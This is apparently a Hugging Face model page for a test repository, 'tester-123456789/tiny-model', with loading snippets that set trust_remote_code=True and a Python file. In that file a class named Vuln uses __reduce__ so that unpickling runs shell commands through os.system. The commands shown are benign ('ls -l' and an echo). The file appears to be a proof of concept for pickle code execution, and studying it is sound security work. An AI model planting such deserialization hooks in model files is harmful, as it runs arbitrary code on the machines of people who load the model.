Feature Extraction
Transformers
PyTorch
English
tinymodel
image-feature-extraction
toy-model
tiny-mlp
custom_code
Instructions to use tester-123456789/tiny-model with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Transformers
How to use tester-123456789/tiny-model with Transformers:
# Use a pipeline as a high-level helper from transformers import pipeline pipe = pipeline("feature-extraction", model="tester-123456789/tiny-model", trust_remote_code=True)# Load model directly from transformers import AutoModel model = AutoModel.from_pretrained("tester-123456789/tiny-model", trust_remote_code=True, dtype="auto") - Notebooks
- Google Colab
- Kaggle
| import pickle | |
| class Vuln(): | |
| def __reduce__(self): | |
| return (build_model, ()) | |
| def build_model(): | |
| import os | |
| return os.system("ls -l",) | |
| def build_another_model(): | |
| import os | |
| return os.system("echo 'malicious code executed'",) | |